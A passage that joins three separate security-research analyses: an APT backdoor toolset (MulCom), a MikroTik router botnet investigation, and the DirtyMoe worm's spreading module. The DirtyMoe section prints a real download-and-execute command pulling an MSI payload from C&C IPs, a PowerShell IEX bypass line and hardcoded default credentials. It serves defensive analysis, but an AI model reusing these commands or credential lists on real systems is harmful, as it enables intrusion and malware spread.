If it was loaded by “lsass.exe”, it will retrieve the path “kb<num>.dll” from the configuration file “kb.ini” and write it under the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\ParametersAutodialDLL. This ensures persistence, as it causes the DLL “kb<num>.dll” to be loaded each time the Winsock 2 library (ws2_32.dll) is invoked.
Evasion
To avoid detection, the plugin first checks the list of running processes for “avp.exe” (Kaspersky Antivirus) or “NortonSecurity.exe” and exits if either of them is found. If these processes are not found on the system, it goes on to conceal itself by changing its own process name to “explorer.exe”.
The plugin also has the capability to bypass the UAC mechanisms and to elevate its process privileges through CMSTP COM interfaces, such as CMSTPLUA {3E5FC7F9-9A51-4367-9063-A120244FBEC7}.
Backdoor user account creation
Next, the plugin carries out registry manipulation (details can be found in the appendix), that lowers the system’s protection by:
Allowing local accounts to have full admin rights when they are authenticating via network logon
Enabling RDP connections to the machine without the user password
Disabling admin approval on an administrator account, which means that all applications run with full administrative privileges
Enabling anonymous SID to be part of the everyone group in Windows
Allowing “Null Session” users to list users and groups in the domain
Allowing “Null Session” users to access shared folders
Setting the name of the pipe that will be accessible to “Null Session” users
After this step, the plugin changes the WebClient service startup type to “Automatic”. It creates a new user with the name “DefaultAccount” and the password “[email protected]!” which is then added to the “Administrator” and “Remote Desktop Users” groups. It also hides the new account on the logon screen.
As the last step, the plugin checks the list of running processes for process names “360tray.exe” and “360sd.exe” and executes the file "spdlogd.exe" if neither of them is found.
MecGame is another example of a plugin that can be loaded by the Core Plugin. Its main purpose is similar to the previously described Zload plugin – it executes the binary “spdlogd.exe” and achieves persistence by registering an RPC interface with UUID {1052E375-2CE2-458E-AA80-F3B7D6EA23AF}. This RPC interface represents a function that decodes and executes a base64 encoded shellcode.
The MecGame plugin has several methods for executing spdlogd.exe depending on the level of available privileges. It also creates a lockfile with the name MSSYS.lck or <UserName>-XPS.lck depending on the name of the process that loaded it, and deletes the files atomxd.dll and logexts.dll.
It can be installed as a service with the service name “inteloem” or can be loaded by any executable that connects to the internet via the Winsock2 library.
This DLL is a backdoor module which exports four functions: “OperateRoutineW”, “StartRoutineW”, “StopRoutineW” and ”WorkRoutineW”; the main malicious function being “StartRoutineW”.
For proper execution, the backdoor needs configuration data accessed through a shared object with the file mapping name either “Global\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB” or "Local\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB”. Unfortunately we didn’t come across the configuration data, so we are missing some information such as the C&C server domains this module uses.
There are 15 commands supported by this backdoor (although some of them are not implemented) referred to by the following numerical identifiers:
Command ID
Function description
1
Sends collected data from executed commands. It is used only if the authentication with a proxy is done through NTLM
2
Finds out information about the domain name, user name and security identifier of the process explorer.exe. It finds out the user name, domain name, and computer name of all Remote Desktop sessions.
3
Enumerates root disks
4
Enumerates files and finds out their creation time, last access time and last write time
5
Creates a process with a duplicated token. The token is obtained from one of the processes in the list (see Appendix).
6
Enumerates files and finds out creation time, last time access, last write time
7
Renames files
8
Deletes files
9
Creates a directory
101
Sends an error code obtained via GetLastError API function
102
Enumerates files in a specific folder and finds out their creation time, last access time and last write time
103
Uploads a file to the C&C server
104
Not implemented (reserved)
Combination of 105/106/107
Creates a directory and downloads files from the C&C server
Communication protocol
The MulCom backdoor is capable of communicating via HTTP and TCP protocols. The data it exchanges with the C&C servers is encrypted and compressed by the RC4 and aPack algorithms respectively, using the RC4 key loaded from the configuration data object.
It is also capable of proxy server authentication using schemes such as Basic, NTLM, Negotiate or to authenticate via either the SOCKS4 and SOCKS5 protocols.
After successful authentication with a proxy server, the backdoor sends data xorred by the constant 0xBC. This data is a set with the following structure:
Data structure
Another interesting capability of this backdoor is the usage of layered C&C servers. If this option is enabled in the configuration object (it is not the default option), the first request goes to the first layer C&C server, which returns the IP address of the second layer. Any subsequent communication goes to the second layer directly.
As previously stated, we found several code similarities between the MulCom DLL and the FFRat (a.k.a. FormerFirstRAT).
Conclusion
We have described a robust and modular toolset used most likely by a Chinese speaking APT group targeting gambling-related companies in South East Asia. As we mentioned in this blogpost, there are notable code similarities between FFRat samples and the MulCom backdoor. FFRat or "FormerFirstRAT'' has been publicly associated with the DragonOK group according to the Palo Alto Network report, which has in turn been associated with backdoors like PoisonIvy and PlugX – tools commonly used by Chinese speaking attackers.
We also described two different infection vectors, one of which weaponized a vulnerable WPS Office updater. We rate the threat this infection vector represents as very high, as WPS Office claims to have 1.2 billion installations worldwide, and this vulnerability potentially allows a simple way to execute arbitrary code on any of these devices. We have contacted WPS Office about the vulnerability we discovered and it has since been fixed.
Our research points to some unanswered questions, such as reliable attribution and the attackers’ motivation.
This is the story of piecing together information and research leading to the discovery of one of the largest botnet-as-a-service cybercrime operations we’ve seen in a while. This research reveals that a cryptomining malware campaign we reported in 2018, Glupteba malware, significant DDoS attacks targeting several companies in Russia, including Yandex, as well as in New Zealand, and the United States, and presumably also the TrickBot malware were all distributed by the same C2 server. I strongly believe the C2 server serves as a botnet-as-a-service controlling nearly 230,000 vulnerable MikroTik routers, and may be the Meris botnet QRator Labs described in their blog post, which helped carry out the aforementioned DDoS attacks. Default credentials, several vulnerabilities, but most importantly the CVE-2018-14847 vulnerability, which was publicized in 2018, and for which MikroTik issued a fix for, allowed the cybercriminals behind this botnet to enslave all of these routers, and to presumably rent them out as a service.
The evening of July 8, 2021
As a fan of MikroTik routers, I keep a close eye on what’s going on with these routers. I have been tracking MikroTik routers for years, reporting a crypto mining campaign abusing the routers as far back as 2018. The mayhem around MikroTik routers began in 2018 mainly thanks to vulnerability CVE-2018-14847, which allowed cybercriminals to very easily bypass authentication on the routers. Sadly, many MikroTik routers were left unpatched, leaving their default credentials exposed on the internet.
Naturally, an email from our partners, sent on July 8, 2021, regarding a TrickBot campaign landed in my inbox. They informed us that they found a couple of new C2 servers that seemed to be hosted on IoT devices, specifically MikroTik routers, sending us the IPs. This immediately caught my attention.
MikroTik routers are pretty robust but run on a proprietary OS, so it seemed unlikely that the routers were hosting the C2 binary directly. The only logical conclusion I could come to was that the servers were using enslaved MikroTik devices to proxy traffic to the next tier of C2 servers to hide them from malware hunters.
I instantly had deja-vu, and thought “They are misusing that vulnerability aga…”.
Opening Pandora’s box full of dark magic and evil
Knowing all this, I decided to experiment by deploying a honeypot, more precisely a vulnerable version of a MikroTik cloud router exposed to the internet. I captured all the traffic and logged everything from the virtual device. Initially, I thought, let’s give it a week to see what’s going on in the wild.
In the past, we were only dealing with already compromised devices seeing the state they had been left in, after the fact. I was hoping to observe the initial compromise as it happened in real-time.
Exactly15 minutesafter deploying the honeypot, and it’s important to note that I intentionally changed the admin username and password to a really strong combination before activating it, I saw someone logging in to the router using the infamous CVE described above (which was later confirmed by PCAP analysis).
We’ve often seen fetch scripts from various domains hidden behind Cloudflare proxies used against compromised routers.
But either by mistake, or maybe intentionally, the first fetch that happened after the attacker got inside went to:
bestony.club at that time was not hidden behind Cloudflare and resolved directly to an IP address (116.202.93.14), a VPS hosted by Hetzner in Germany. This first fetch served a script that tried to fetch additional scripts from the other domains.
What is the intention of this script you ask? Well, as you can see, it tries to overwrite and rename all existing scheduled scripts named U3, U4..U7 and set scheduled tasks to repeatedly import script fetched from the particular address, replacing the first stage “bestony.info” with “globalmoby.xyz”. In this case, the domain is already hidden behind CloudFlare to minimize likeness to reveal the real IP address if the C2 server is spotted.
The second stage of the script, pulled from the C2, is more concrete and meaningful:
It hardens the router by closing all management interfaces leaving only SSH, and WinBox (the initial attack vector) open and enables the SOCKS4 proxy server on port 5678.
Interestingly, all of the URLs had the same format:
http://[domainname]/poll/[GUID]
The logical assumption for this would be that the same system is serving them, if bestony.club points to a real IP, while globalmoby.xyz is hidden behind a proxy, Cloudflare probably hides the same IP. So, I did a quick test by issuing:
And it worked! Notice two things here; it’s necessary to put a --user-agent header to imitate the router; otherwise, it won’t work. I found out that the GUID doesn’t matter when issuing the request for the first time, the router is probably registered in the database, so anything that fits the GUID format will work. The second observation was that every GUID works only once or has some rate limitation. Testing the endpoint, I also found that there is a bug or a “silent error” when the end of the URL doesn’t conform to the GUID, for example:
It works too, and it works consistently, not just once. It seems when inserting the URL into the database, an error/exception is thrown, but because it is silently ignored, nothing is written into the database, but still the script is returned (which is quite interesting, that would mean the scripts are not exactly tied to the ID of the victim).
Listing used domains
The bestony.club is the first stage, and it gets us the second stage script and Cloudflare hidden domain. You can see the GUID is reused throughout the stages. Provided all that we’ve learned, I tried to query the
It worked several times, and as a bonus, it was returning different domains now and then. So by creating a simple script, we “generated” a list of domains being actively used.
domain
IP
ISP
bestony.club
116.202.93.14
Hetzner, DE
massgames.space
multiple
Cloudflare
widechanges.best
multiple
Cloudflare
weirdgames.info
multiple
Cloudflare
globalmoby.xyz
multiple
Cloudflare
specialword.xyz
multiple
Cloudflare
portgame.website
multiple
Cloudflare
strtz.site
multiple
Cloudflare
The evil spreads its wings
Having all these domains, I decided to pursue the next step to check whether all the hidden domains behind Cloudflare are actually hosted on the same server. I was closer to thinking that the central C&C server was hosted there too. Using the same trick, querying the IP directly with the host header, led to the already expected conclusion:
Yes, all the domains worked against the IP, moreover, if you try to query a GUID, particularly using the host headers trick:
It won’t work again using the full URL and vice versa.
Which returns an error as the GUID has been already registered by the first query, proving that we are accessing the same server and data.
Obviously, we found more than we asked for, but that was not the end.
A short history of CVE-2018-14847
It all probably started back in 2018, more precisely on April 23, when Latvian hardware company MikroTik publicly announced that they fixed and released an update for their very famous and widely used routers, patching the CVE-2018-14847 vulnerability. This vulnerability allowed anyone to literally download the user database and easily decode passwords from the device remotely by just using a few packets through the exposed administrative protocol TCP port 8291. The bar was low enough for anyone to exploit it, and no force could have pushed users to update the firmware. So the outcome was as expected: Cybercriminals had started to exploit it.
The root cause
Tons of articles and analysis of this vulnerability have been published. The original explanation behind it was focused more on how the WinBox protocol works and that you can ask a file from the router if it’s not considered as sensitive in pre-auth state of communication. Unfortunately, in the reading code path there is also a path traversal vulnerability that allows an attacker to access any file, even if it is considered as sensitive. The great and detailed explanation is in this post from Tenable. The researchers also found that this path traversal vulnerability is shared among other “API functions” handlers, so it’s also possible to write an arbitrary file to the router using the same trick, which greatly enlarges the attack surface.
Messy situation
Since then, we’ve been seeing plenty of different strains misusing the vulnerability. The first noticeable one was crypto mining malware cleverly setting up the router using standard functions and built-in proxy to inject crypto mining JavaScript into every HTTP request being made by users behind the router, amplifying the financial gain greatly. More in our Avast blog post from 2018.
Since then, the vulnerable routers resembled a war field, where various attackers were fighting for the device, overwriting each other’s scripts with their own. One such noticeable strain was Glupteba misusing the router and installing scheduled scripts that repeatedly reached out for commands from C2 servers to establish a SOCKS proxy on the device that allowed it to anonymize other malicious traffic.
Now, we see another active campaign is being hosted on the same servers, so is there any remote possibility that these campaigns are somehow connected?
Closing the loop
As mentioned before, all the leads led to this one particular IP address (which doesn’t work anymore)
116.202.93.14
It was more than evident that this IP is a C2 server used for an ongoing campaign, so let’s find out more about it, to see if we can find any ties or indication that it is connected to the other campaigns.
It turned out that this particular IP has been already seen and resolved to various domains. Using the RISKIQ service, we also found one eminent domain tik.anyget.ru. When following the leads and when digging deeper and trying to find malicious samples that access the particular host, we bumped into this interesting sample:
The sample was accessing the following URL, directly http://tik.anyget.ru/api/manager from there it downloaded a JSON file with a list of IP addresses. This sample is ARM32 SOCKS proxy server binary written in Go and linked to the Glupteba malware campaign. The first recorded submission in VirusTotal was from November 2020, which fits with the Glupteba outbreak.
It seems that the Glupteba malware campaign used the same server.
When requesting the URL http://tik.anyget.ru I was redirected to the http://routers.rip/site/login domain (which is again hidden by the Cloudflare proxy) however, what we got will blow your mind:
C2 control panel
This is a control panel for the orchestration of enslaved MikroTik routers. As you can see, the number at the top displays the actual number of devices, close to 230K of devices, connected into the botnet. To be sure, we are still looking at the same host we tried:
And it worked. Encouraged by this, I also tried several other IoCs from previous campaigns:
From the crypto mining campaign back in 2018:
To the Glupteba sample:
All of them worked. Either all of these campaigns are one, or we are witnessing a botnet-as-a-service. From what I’ve seen, I think the second is more likely. When browsing through the control panel, I found one section that had not been password protected, a presets page in the control panel:
Configuration presets on C2 server
The oddity here is that the page automatically switches into Russian even though the rest stays in English (intention, mistake?). What we see here are configuration templates for MikroTik devices. One in particular tied the loop of connecting the pieces together even more tightly. The VPN configuration template
VPN preset that confirms that what we see on routers came from here
This confirms our suspicion, because these exact configurations can be found on all of our honeypots and affected routers:
Having all these indications and IoCscollected, I knew I was dealing with a trove of secrets and historical data since the beginning of the outbreak of the MikroTik campaign. I also ran an IPV4 thorough scan for socks port 5678, which was a strong indicator of the campaign at that time, and I came up with almost 400K devices with this port opened. The socks port was opened on my honeypot, and as soon as it got infected, all the available bandwidth of 1Mbps was depleted in an instant. At that point, I thought this could be the enormous power needed for DDoS attacks, and then two days later…
Mēris
On September 7, 2021, QRator Labs published a blog post about a new botnet called Mēris. Mēris is a botnet of considerable scale misusing MikroTik devices to carry out one of the most significant DDoS attacks against Yandex, the biggest search engine in Russia, as well as attacks against companies in Russia, New Zealand, and the United States. It had all the features I’ve described in my investigation.
The day after the publication appeared, the C2 server stopped serving scripts, and the next day, it disappeared completely. I don’t know if it was a part of a legal enforcement action or just pure coincidence that the attackers decided to bail out on the operation in light of the public attention on Mēris. The same day my honeypots restored the configuration by closing the SOCKS proxies.
TrickBot
As the IP addresses mentioned at the very beginning of this post sparked our wild investigation, we owe TrickBot a section in this post. The question, which likely comes to mind now is: “Is TrickBot yet another campaign using the same botnet-as-a-service?”. We can’t tell for sure. However, what we can share is what we found on devices. The way TrickBot proxies the traffic using the NAT functionality in MikroTik usually looks like this:
typical rule found on TrickBot routers to relay traffic from victim to the hidden C2 server, the ports might vary greatly on the side of hidden C2, on Mikrotik side, these are usually 443,447 and 80, see IoC section
Part of IoC fingerprint is that usually, the same rule is there multiple times, as the infection script doesn’t check if it is already there:
example of the infected router, please note that rules are repeated as a result of the infection script not checking prior existence. You can also see the masquerade rules used to allow the hidden C2 to access the internet through the router
Although in the case of TrickBot we are not entirely sure if this could be taken as proof, I found some shared IoCs, such as
Scheduled scripts / SOCKS proxies enabled as in previous case
Common password being set on most of the TrickBot MikroTik C2 proxies
It’s, however, not clear if this is a pure coincidence and a result of the router being infected more than once, or if the same C2 was used. From the collected NAT translation, I’ve been able to identify a few IP addresses of the next tier of TrickBot C2 servers (see IoCs section).
Not only MikroTik used by TrickBot
When investigating the TrickBot case I saw (especially after the Mēris case was published) a slight shift over time towards other IoT devices, other than MikroTik. Using the SSH port fingerprinting I came across several devices with an SSL certificate leading to LigoWave devices. Again, the modus operandi seems to be the same, the initial vector of infection seems to be default credentials, then using capabilities of the device to proxy the traffic from the public IP address to TrickBot “hidden” C2 IP address.
Typical login screen on LigoWave AP products
To find the default password it took 0.35 sec on Google
Google search result
The same password can be used to login into the device using SSH as admin with full privileges and then it’s a matter of using iptables to set up the same NAT translation as we saw in the MikroTik case
LigoWave AP shell using default credentials
They know the devices
During my research, what struck me was how the criminals paid attention to details and subtle nuances. For example, we found one configuration on this device:
Knowing this device type, the attacker has disabled a physical display that loops through the stats of all the interfaces, purposefully to hide the fact that there is a malicious VPN running.
Remediation
The main and most important step to take is to update your router to the latest version and remove the administrative interface from the public-facing interface, you can follow our recommendation from our 2018 blog post which is still valid. In regards to TrickBot campaign, there are few more things you can do:
check all dst-nat mappings in your router, from SSH or TELNET terminal you can simply type: /ip firewall nat print and look for the nat rules that are following the aforementioned rules or are suspicious, especially if the dst-address and to-address are both public IP addresses.
check the usernames/user printif you see any unusual username or any of the usernames from our IoCs delete them
If you can’t access your router on usual ports, you can check one of the alternative ones in our IoCs as attackers used to change them to prevent others from taking back ownership of the device.
Check the last paragraph of this blog post for more details on how to setup your router in a safe manner
Conclusion
Since 2018, vulnerable MikroTik routers have been misused for several campaigns. I believe, and as some of the IoCs and my research prove, that a botnet offered for service has been in operation since then.
It also shows, what is quite obvious for some time already (see our Q3 2021 report), that IoT devices are being heavily targeted not just to run malware on them, which is hard to write and spread massively considering all the different architectures and OS versions, but to simply use their legal and built-in capabilities to set them up as proxies. This is done to either anonymize the attacker’s traces or to serve as a DDoS amplification tool. What we see here is just the tip of the iceberg and it is vital to note that properly and securely setting up devices and keeping them up-to-date is crucial to avoid becoming an easy target and helping facilitate criminal activity.
Just recently, new information popped up showing that the REvil ransomware gang is using MikroTik devices for DDoS attacks. The researchers from Imperva mention in their post that the Mēris botnet is likely being used to carry out the attack, however, as far as we know the Mēris botnet was dismantled by Russian law enforcement. This a new re-incarnation or the well-known vulnerabilities in MikroTik routers are being exploited again. I can’t tell right now, but what I can tell is that patch adoption and generally, security of IoT devices and routers, in particular, is not good. It’s important to understand that updating devices is not just the sole responsibility of router vendors, but we are all responsible. To make this world more secure, we need to all come together to jointly make sure routers are secure, so please, take a few minutes now to update your routers set up a strong password, disable the administration interface from the public side, and help all the others who are not that technically savvy to do so.
Number of MikroTik devices with opened port 8921 (WinBox) as found at the date of publication (not necessarily vulnerable, source: shodan.io)
MikroTik devices globally that are exposing any of common services such as FTP, SSH, TELNET, WINBOX, PPTP, HTTP as found at the date of publication (not necessarily vulnerable, source: shodan.io)
The DirtyMoe malware is deployed using various kits like PurpleFox or injected installers of Telegram Messenger that require user interaction. Complementary to this deployment, one of the DirtyMoe modules expands the malware using worm-like techniques that require no user interaction.
This research analyzes this worming module’s kill chain and the procedures used to launch/control the module through the DirtyMoe service. Other areas investigated include evaluating the risk of identified exploits used by the worm and detailed analysis of how its victim selection algorithm works. Finally, we examine this performance and provide a thorough examination of the entire worming workflow.
The analysis showed that the worming module targets older well-known vulnerabilities, e.g., EternalBlue and Hot Potato Windows Privilege Escalation. Another important discovery is a dictionary attack using Service Control Manager Remote Protocol (SCMR), WMI, and MS SQL services. Finally, an equally critical outcome is discovering the algorithm that generates victim target IP addresses based on the worming module’s geographical location.
One worm module can generate and attack hundreds of thousands of private and public IP addresses per day; many victims are at risk since many machines still use unpatched systems or weak passwords. Furthermore, the DirtyMoe malware uses a modular design; consequently, we expect other worming modules to be added to target prevalent vulnerabilities.
1. Introduction
DirtyMoe, the successful malware we documented in detail in the previous series, also implements mechanisms to reproduce itself. The most common way of deploying the DirtyMoe malware is via phishing campaigns or malvertising. In this series, we will focus on techniques that help DirtyMoe to spread in the wild.
The PurpleFox exploit kit (EK) is the most frequently observed approach to deploy DirtyMoe; the immediate focus of PurpleFox EK is to exploit a victim machine and install DirtyMoe. PurpleFox EK primarily abuses vulnerabilities in the Internet Explorer browser via phishing emails or popunder ads. For example, Guardicore described a worm spread by PurpleFox that abuses SMB services with weak passwords [2], infiltrating poorly secured systems. Recently, Minerva Labs has described the new infection vector installing DirtyMoe via an injected Telegram Installer [1].
Currently, we are monitoring three approaches used to spread DirtyMoe in the wild; Figure 1 illustrates the relationship between the individual concepts. The primary function of the DirtyMoe malware is crypto-mining; it is deployed to victims’ machines using different techniques. We have observed PurpleFox EK, PurleFox Worm, and injected Telegram Installers as mediums to spread and install DirtyMoe; we consider it highly likely that other mechanisms are used in the wild.
Figure 1. Mediums of DirtyMoe
In the fourth series on this malware family, we described the deployment of the DirtyMoe service. Figure 2 illustrates the DirtyMoe hierarchy. The DirtyMoe service is run as a svchost process that starts two other processes: DirtyMoe Core and Executioner, which manages DirtyMoe modules. Typically, the executioner loads two modules; one for Monero mining and the other for worming replication.
Figure 2. DirtyMoe hierarchy
Our research has been focused on worming since it seems that worming is one of the main mediums to spread the DirtyMoe malware. The PurpleFox worm described by Guardicore [2] is just the tip of the worming iceberg because DirtyMoe utilizes sophisticated algorithms and methods to spread itself into the wild and even to spread laterally in the local network.
The goal of the DirtyMoe worm is to exploit a target system and install itself into a victim machine. The DirtyMoe worm abuses several known vulnerabilities as follow:
MS15-076: RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation)
Dictionary attacks to MS SQL Servers, SMB, and Windows Management Instrumentation (WMI)
The prevalence of DirtyMoe is increasing in all corners of the world; this may be due to the DirtyMoe worm’s strategy of generating targets using a pseudo-random IP generator that considers the worm’s geological and local location. A consequence of this technique is that the worm is more flexible and effective given its location. In addition, DirtyMoe can be expanded to machines hidden behind NAT as this strategy also provides lateral movement in local networks. A single DirtyMoe instance can generate and attack up to 6,000 IP addresses per second.
The insidiousness of the whole worm’s design is its modularization controlled by C&C servers. For example, DirtyMoe has a few worming modules targeting a specific vulnerability, and C&C determines which worming module will be applied based on information sent by a DirtyMoe instance.
The DirtyMoe worming module implements three basic phases common to all types of vulnerabilities. First, the module generates a list of IP addresses to target in the initial phase. Then, the second phase attacks specific vulnerabilities against these targets. Finally, the module performs dictionary attacks against live machines represented by the randomly generated IP addresses. The most common modules that we have observed are SMB and SQL.
This article focuses on the DirtyMoe worming module. We analyze and discuss the worming strategy, which exploits are abused by the malware author, and a module behavior according to geological locations. One of the main topics is the performance of IP address generation, which is crucial for the malware’s success. We are also looking for specific implementations of abused exploits, including their origins.
2. Worm Kill Chain
We can describe the general workflow of the DirtyMoe worming module through the kill chain. Figure 3 illustrates stages of the worming workflow.
Figure 3. Worming module workflow
Reconnaissance The worming module generates targets at random but also considers the geolocation of the module. Each generated target is tested for the presence of vulnerable service versions; the module connects to the specific port where attackers expect vulnerable services and verifies whether the victim’s machine is live. If the verification is successful, the worming module collects basic information about the victim’s OS and versions of targeted services.
Weaponization The C&C server appears to determine which specific module is used for worming without using any victim’s information. Currently, we do not precisely know what algorithm is used for module choice but suspect it depends on additional information sent to the C&C server.
When the module verifies that a targeted victim’s machine is potentially exploitable, an appropriate payload is prepared, and an attack is started. The payload must be modified for each attack since a remote code execution (RCE) command is valid only for a few minutes.
Delivery In this kill chain phase, the worming module sends the prepared payload. The payload delivery is typically performed using protocols of targeted services, e.g., SMB or MS SQL protocols.
Exploitation and Installation If the payload is correct and the victim’s machine is successfully exploited, the RCE command included in the payload is run. Consequently, the DirtyMoe malware is deployed, as was detailed in the previous article (DirtyMoe: Deployment).
3. RCE Command
The main goal of the worming module is to achieve RCE under administrator privileges and install a new DirtyMoe instance. The general form of the executed command (@[email protected]) is the same for each worming module: Cmd /c for /d %i in (@[email protected]) do Msiexec /i http://%i/@[email protected] /Q
The command usually iterates through three IP addresses of C&C servers, including ports. IPs are represented by the placeholder @[email protected] filled on runtime. Practically, @[email protected] is regenerated for each payload sent since the IPs are rotated every minute utilizing sophisticated algorithms; this was described in Section 2 of the first blog.
The second placeholder is @[email protected] representing the DirtyMoe object’s name; this is, in fact, an MSI installer package. The package filename is in the form of a hash – [A-F0-9]{8}\.moe. The hash name is generated using a hardcoded hash table, methods for rotations and substrings, and by the MS_RPC_<n> string, where n is a number determined by the DirtyMoe service.
The core of the @[email protected] command is the execution of the remote DirtyMoe object (http://) via msiexec in silent mode (/Q). An example of a specific @[email protected] command is: Cmd /c for /d %i in (45.32.127.170:16148 92.118.151.102:19818 207.246.118.120:11410) do Msiexec /i http://%i/6067C695.moe /Q
4. IP Address Generation
The key feature of the worming module is the generation of IP addresses (IPs) to attack. There are six methods used to generate IPs with the help of a pseudo-random generator; each method focuses on a different IPv4 Class. Accordingly, this factor contributes to the globally uniform distribution of attacked machines and enables the generation of more usable IP addresses to target.
4.1 Class B from IP Table
The most significant proportion of generated addresses is provided by 10 threads generating IPs using a hardcoded list of 24,622 items. Each list item is in form 0xXXXX0000, representing IPs of Class B. Each thread generates IPs based on the algorithms as follows:
The algorithm randomly selects a Class B address from the list and 65,536 times generates an entirely random number that adds to the selected Class B addresses. The effect is that the final IP address generated is based on the geological location hardcoded in the list.
Figure 4 shows the geological distribution of hardcoded addresses. The continent distribution is separated into four parts: Asia, North America, Europe, and others (South America, Africa, Oceania). We verified this approach and generated 1M addresses using the algorithm. The result has a similar continental distribution. Hence, the implementation ensures that the IP addresses distribution is uniform.
Figure 4. Geological distribution of hardcoded class B IPs
4.2 Fully Random IP
The other three threads generate completely random IPs, so the geological position is also entirely random. However, the full random IP algorithm generates low classes more frequently, as shown in the algorithm below.
4.3 Derived Classes A, B, C
Three other algorithms generate IPs based on an IP address of a machine (IPm) where the worming module runs. Consequently, the worming module targets machines in the nearby surroundings.
Addresses are derived from the IPm masked to the appropriate Class A/B/C, and a random number representing the lower Class is added; as shown in the following pseudo-code.
4.4 Derived Local IPs
The last IP generating method is represented by one thread that scans interfaces attached to local networks. The worming module lists local IPs using gethostbyname() and processes one local address every two hours.
Each local IP is masked to Class C, and 255 new local addresses are generated based on the masked address. As a result, the worming module attacks all local machines close to the infected machine in the local network.
5. Attacks to Abused Vulnerabilities
We have detected two worming modules which primarily attack SMB services and MS SQL databases. Our team has been lucky since we also discovered something rare: a worming module containing exploits targeting PHP, Java Deserialization, and Oracle Weblogic Server that was still under development. In addition, the worming modules include a packed dictionary of 100,000-words used with dictionary attacks.
5.1 EternalBlue
One of the main vulnerabilities is CVE:2017-0144: EternalBlue SMB Remote Code Execution (patched by Microsoft in MS17-010). It is still bewildering how many EternalBlue attacks are still observed – Avast is still blocking approximately 20 million attempts for the EternalBlue attack every month.
The worming module focuses on the Windows version from Windows XP to Windows 8. We have identified that the EternalBlue implementation is the same as described in exploit-db [3], and an effective payload including the @[email protected] command is identical to DoublePulsar [4]. Interestingly, the whole EternalBlue payload is hardcoded for each Windows architecture, although the payload can be composed for each platform separately.
5.2 Service Control Manager Remote Protocol
No known vulnerability is used in the case of Service Control Manager Remote Protocol (SCMR) [5]. The worming module attacks SCMR through a dictionary attack. The first phase is to guess an administrator password. The details of the dictionary attack are described in Section 6.4.
If the dictionary attack is successful and the module guesses the password, a new Windows service is created and started remotely via RPC over the SMB service. Figure 5 illustrates the network communication of the attack. Binding to the SCMR is identified using UUID {367ABB81-9844-35F1-AD32- 98F038001003}. On the server-side, the worming module as a client writes commands to the \PIPE\svcctl pipe. The first batch of commands creates a new service and registers a command with the malicious @[email protected] payload. The new service is started and is then deleted to attempt to cover its tracks.
The Microsoft HTML Application Host (mshta.exe) is used as a LOLbin to execute and create ShellWindows and run @[email protected]. The advantage of this proxy execution is that mshta.exe is typically marked as trusted; some defenders may not detect this misuse of mshta.exe.
Figure 5. SCMR network communications
Windows Event records these suspicious events in the System log, as shown in Figure 6. The service name is in the form AC<number>, and the number is incremented for each successful attack. It is also worth noting that ImagePath contains the @[email protected] command sent to SCMR in BinaryPathName, see Figure 5.
Figure 6. Event log for SCMR
5.3 Windows Management Instrumentation
The second method that does not misuse any known vulnerability is a dictionary attack to Windows Management Instrumentation (WMI). The workflow is similar to the SCMR attack. Firstly, the worming module must also guess the password of a victim administrator account. The details of the dictionary attack are described in Section 6.4.
The attackers can use WMI to manage and access data and resources on remote computers [6]. If they have an account with administrator privileges, full access to all system resources is available remotely.
The malicious misuse lies in the creation of a new process that runs @[email protected] via a WMI script; see Figure 7. DirtyMoe is then installed in the following six steps:
Initialize the COM library.
Connect to the default namespace root/cimv2 containing the WMI classes for management.
The Win32_Process class is created, and @[email protected] is set up as a command-line argument.
Win32_ProcessStartup represents the startup configuration of the new process. The worming module sets a process window to a hidden state, so the execution is complete silently.
The new process is started, and the DirtyMoe installer is run.
Finally, the WMI script is finished, and the COM library is cleaned up.
Attacks on Microsoft SQL Servers are the second most widespread attack in terms of worming modules. Targeted MS SQL Servers are 2000, 2005, 2008, 2012, 2014, 2016, 2017, 2019.
The worming module also does not abuse any vulnerability related to MS SQL. However, it uses a combination of the dictionary attack and MS15-076: “RCE Allow Elevation of Privilege” known as “Hot Potato Windows Privilege Escalation”. Additionally, the malware authors utilize the MS15-076 implementation known as Tater, the PowerSploit function Invoke-ReflectivePEInjection, and CVE-2019-1458: “WizardOpium Local Privilege Escalation” exploit.
The first stage of the MS SQL attack is to guess the password of an attacked MS SQL server. The first batch of username/password pairs is hardcoded. The malware authors have collected the hardcoded credentials from publicly available sources. It contains fifteen default passwords for a few databases and systems like Nette Database, Oracle, Firebird, Kingdee KIS, etc. The complete hardcoded credentials are as follows: 401hk/[email protected]_, admin/admin, bizbox/bizbox, bwsa/bw99588399, hbv7/[email protected], kisadmin/ypbwkfyjhyhgzj, neterp/neterp, ps/740316, root/root, sp/sp, su/[email protected]_, sysdba/masterkey, uep/U_tywg_2008, unierp/unierp, vice/vice.
If the first batch is not successful, the worming module attacks using the hardcoded dictionary. The detailed workflow of the dictionary attack is described in Section 6.4.
If the module successfully guesses the username/password of the attacked MS SQL server, the module executes corresponding payloads based on the Transact-SQL procedures. There are five methods launched one after another.
sp_start_job The module creates, schedules, and immediately runs a task with Payload 1.
sp_makewebtask The module creates a task that produces an HTML document containing Payload 2.
sp_OAMethod The module creates an OLE object using the VBScript “WScript.Shell“ and runs Payload 3.
xp_cmdshell This method spawns a Windows command shell and passes in a string for execution represented by Payload 3.
Run-time Environment Payload 4 is executed as a .NET assembly.
In brief, there are four payloads used for the DirtyMoe installation. The SQL worming module defines a placeholder @[email protected] representing a full URL to the MSI installation package located in the C&C server. If any of the payloads successfully performed a privilege escalation, the DirtyMoe installation is silently launched via MSI installer; see our DirtyMoe Deployment blog post for more details.
Payload 1
The first payload tries to run the following PowerShell command: powershell -nop -exec bypass -c "IEX $decoded; MsiMake @[email protected];" where $decoded contains the MsiMake functions, as is illustrated in Figure 8. The function calls MsiInstallProduct function from msi.dll as a completely silent installation (INSTALLUILEVEL_NONE) but only if the MS SQL server runs under administrator privileges.
Figure 8. MsiMake function
Payload 2
The second payload is used only for sp_makewebtask execution; the payload is written to the following autostart folders: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.hta C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\1.hta
Figure 9 illustrates the content of the 1.hta file camouflaged as an HTML file. It is evident that DirtyMoe may be installed on each Windows startup.
Figure 9. ActiveX object runs via sp_makewebtask
Payload 3
